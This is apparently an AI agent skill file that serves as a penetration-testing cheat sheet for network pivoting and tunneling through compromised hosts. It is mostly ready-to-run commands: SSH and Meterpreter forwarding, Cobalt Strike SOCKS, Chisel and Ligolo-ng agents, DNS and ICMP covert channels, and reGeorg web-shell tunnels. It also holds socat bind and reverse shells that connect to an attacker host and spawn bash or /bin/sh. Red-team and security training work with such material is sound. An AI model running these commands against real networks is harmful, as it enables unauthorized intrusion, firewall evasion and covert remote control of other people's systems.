| name | network-tunneling |
| description | Network tunneling and port forwarding techniques for authorized security assessments. Use this skill when you need to pivot through networks, forward ports, create SOCKS proxies, or establish covert channels during penetration testing, red teaming, or security research. Covers SSH tunneling, Meterpreter/Cobalt Strike pivoting, DNS/ICMP tunneling, and modern tools like Chisel, Ligolo-ng, and FRP. Make sure to use this skill whenever the user mentions pivoting, port forwarding, SOCKS proxy, network tunneling, SSH tunnel, or needs to access internal networks through compromised hosts. |
Network Tunneling and Port Forwarding
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized network access is illegal.
Quick Reference
| Technique | Use Case | Tool |
|---|
| SSH Local Forward | Access internal port via compromised host | ssh -L |
| SSH Remote Forward | Expose local service to remote | ssh -R |
| SSH Dynamic (SOCKS) | Full proxy through compromised host | ssh -D |
| Meterpreter Port Forward | Pivot from active session | portfwd add |
| Chisel | High-performance reverse tunnel | chisel |
| Ligolo-ng | Advanced pivoting with TUN interface | ligolo-ng |
| DNS Tunnel | Bypass firewalls via DNS | iodine, dnscat2 |
| ICMP Tunnel | Bypass via ping | hans, ptunnel-ng |
| ngrok/Cloudflared | Expose local services to internet | ngrok, cloudflared |
| FRP | Reverse proxy with SSH gateway | frp |
SSH Tunneling
Nmap Through SOCKS Proxy
⚠️ Important: ICMP and SYN scans cannot be tunneled through SOCKS proxies. Disable ping discovery and use TCP scans:
proxychains nmap -n -Pn -sT -p445,3389,5985 <target>
Local Port Forwarding (Port2Port)
Forward local port through compromised host to target:
ssh -i ssh_key <user>@<compromised_ip> -L <local_port>:<target_ip>:<target_port> [-p <ssh_port>] [-N -f]
sudo ssh -L 631:<victim_ip>:631 -N -f -l <username> <compromised_ip>
Remote Port Forwarding
Expose a port on the compromised host back to your machine:
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1
Dynamic SOCKS Proxy
Create a SOCKS proxy through the compromised host:
ssh -f -N -D <local_port> <username>@<compromised_ip>
Reverse Port Forwarding (DMZ to Internal)
Get reverse shells from internal hosts through a DMZ:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
SSH VPN Tunnel
Create a TUN interface for full network routing (requires root on both ends):
ssh root@server -w any:any
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
ip link set tun0 up
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
ip link set tun0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
route add -net 10.0.0.0/16 gw 1.1.1.1
SSHuttle
Tunnel all traffic to a subnet through a host:
pip install sshuttle
sshuttle -r user@host 10.10.10.0/24
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
⚠️ Security Note (CVE-2023-48795): The Terrapin downgrade attack can tamper with SSH handshakes. Ensure OpenSSH ≥ 9.6 or disable vulnerable ciphers (chacha20-poly1305@openssh.com, *-etm@openssh.com).
Meterpreter Pivoting
Port Forwarding
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd del -l <local_port>
portfwd
SOCKS Proxy
background
route add <target_subnet> <netmask> <session_id>
use auxiliary/server/socks_proxy
run
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf
Autoroute Module
background
use post/multi/manage/autoroute
set SESSION <session_id>
set SUBNET 10.1.13.0
set NETMASK 255.255.255.0
run
Cobalt Strike
SOCKS Proxy
beacon> socks 1080
[+] started SOCKS4a server on: 1080
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
Reverse Port Forwarding
rportfwd [bind_port] [forward_host] [forward_port]
rportfwd stop [bind_port]
rportfwd_local [bind_port] [forward_host] [forward_port]
rportfwd_local stop [bind_port]
Chisel
High-performance reverse proxy (use same version for client/server):
SOCKS Mode
./chisel server -p 8080 --reverse
./chisel client <attacker_ip>:8080 R:socks
Port Forwarding
./chisel server -p 12312 --reverse
./chisel client <attacker_ip>:12312 R:4505:127.0.0.1:4505
Ligolo-ng
Advanced pivoting with TUN interface support:
Basic Tunnel
sudo ./proxy -selfcert
interface_create --name "ligolo"
certificate_fingerprint
./agent -connect <attacker_ip>:11601 -v -accept-fingerprint <fingerprint>
session
1
tunnel_start --tun "ligolo"
ifconfig
interface_add_route --name "ligolo" --route <network>/<netmask>
Port Forwarding
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
listener_list
interface_add_route --name "ligolo" --route 240.0.0.1/32
Rpivot
Reverse tunnel with SOCKS proxy (127.0.0.1:1080):
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
python client.py --server-ip <attacker_ip> --server-port 9999
python client.py --server-ip <attacker_ip> --server-port 9999 \
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
--domain CONTOSO.COM --username Alice --password P@ssw0rd
python client.py --server-ip <attacker_ip> --server-port 9999 \
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
--domain CONTOSO.COM --username Alice \
--hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Socat
Bind Shell
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
Reverse Shell
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
socat TCP4:<attacker_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Port Forwarding
socat TCP4-LISTEN:<local_port>,fork TCP4:<target_ip>:<target_port> &
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
SSL Tunnel
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
socat STDIO OPENSSL-CONNECT:<attacker_ip>:433,cert=client.pem,cafile=server.crt
Windows Tools
Netsh Port Proxy
netsh interface portproxy add v4tov4 \
listenaddress=0.0.0.0 listenport=4444 \
connectaddress=10.10.10.10 connectport=4444
netsh interface portproxy show v4tov4
netsh interface portproxy delete v4tov4 \
listenaddress=0.0.0.0 listenport=4444
Plink (Windows SSH Client)
echo y | plink.exe -l <username> -pw <password> \
-R <attacker_port>:<next_ip>:<final_port> <attacker_ip>
echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41
SocksOverRDP
regsvr32.exe SocksOverRDP-Plugin.dll
SocksOverRDP-Server.exe
netstat -antb | findstr 1080
DNS Tunneling
Iodine
iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
iodine -f -P P@ssw0rd tunneldomain.com -r
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
ruby ./dnscat2.rb tunneldomain.com
./dnscat2 tunneldomain.com
ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
./dnscat2 --dns host=10.10.10.10,port=5353
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
session -i <session_id>
listen 127.0.0.1:8080 10.0.0.20:80
ICMP Tunneling
Hans
./hans -v -f -s 1.1.1.1 -p P@ssw0rd
./hans -f -c <attacker_ip> -p P@ssw0rd -v
ping 1.1.1.100
ptunnel-ng
sudo ptunnel-ng
sudo ptunnel-ng -p <victim_ip> -l 2222 -r 127.0.0.1 -R 22
ssh -p 2222 -l user 127.0.0.1
ssh -D 9050 -p 2222 -l user 127.0.0.1
Cloud-Based Tunnels
ngrok
./ngrok tcp 4444
./ngrok http file:///tmp/httpbin/
./ngrok http localhost:8080 --host-header=rewrite
./ngrok http localhost:8080 --auth="user:pass"
tunnels:
mytcp:
addr: 4444
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
Cloudflared
cloudflared tunnel --url http://localhost:8080
cloudflared tunnel --url socks5://localhost:1080 --socks5
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
cloudflared tunnel run mytunnel
FRP (Fast Reverse Proxy)
./frps -c frps.toml
./frpc -c frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
Bash Port Forwarding
Multi-hop Forwarding
mknod backpipe p
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
evil-winrm -u username -i Jump
reGeorg
Web-based tunneling (upload web shell first):
python reGeorgSocksProxy.py -p 8080 -u http://victim:8080/tunnel/tunnel.jsp
NTLM Proxy Bypass
Cntlm
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attacker_ip>:443
OpenVPN
http-proxy <proxy_ip> 8080 <creds_file> ntlm
Bash Helper Scripts
See scripts/ directory for:
ssh-tunnel-config.sh - Generate SSH tunnel configurations
proxychains-config.sh - Configure proxychains for various proxies
socat-tunnel.sh - Quick socat tunnel setup
Best Practices
- Always verify authorization before testing
- Document all pivots for reporting
- Use encrypted tunnels (SSH, SSL) when possible
- Clean up temporary forwards and tunnels
- Test connectivity after establishing tunnels
- Consider performance - some tunnels are slow (DNS, ICMP)
- Check for Terrapin vulnerability in SSH versions
- Use appropriate tools for the scenario:
- SSH: When SSH access exists
- Meterpreter: Active sessions
- Chisel/Ligolo: High-performance needs
- DNS/ICMP: When only those protocols allowed
- Cloud tunnels: When egress is restricted
Troubleshooting
| Issue | Solution |
|---|
| SSH tunnel fails | Check GatewayPorts yes in sshd_config |
| Proxychains not working | Verify proxy type (socks4/socks5/http) |
| Slow DNS tunnel | Use compression: ssh -C -c blowfish-cbc |
| ICMP blocked | Try DNS tunneling instead |
| Port already in use | Use different local port |
| Certificate errors | Regenerate certs or disable verification |
References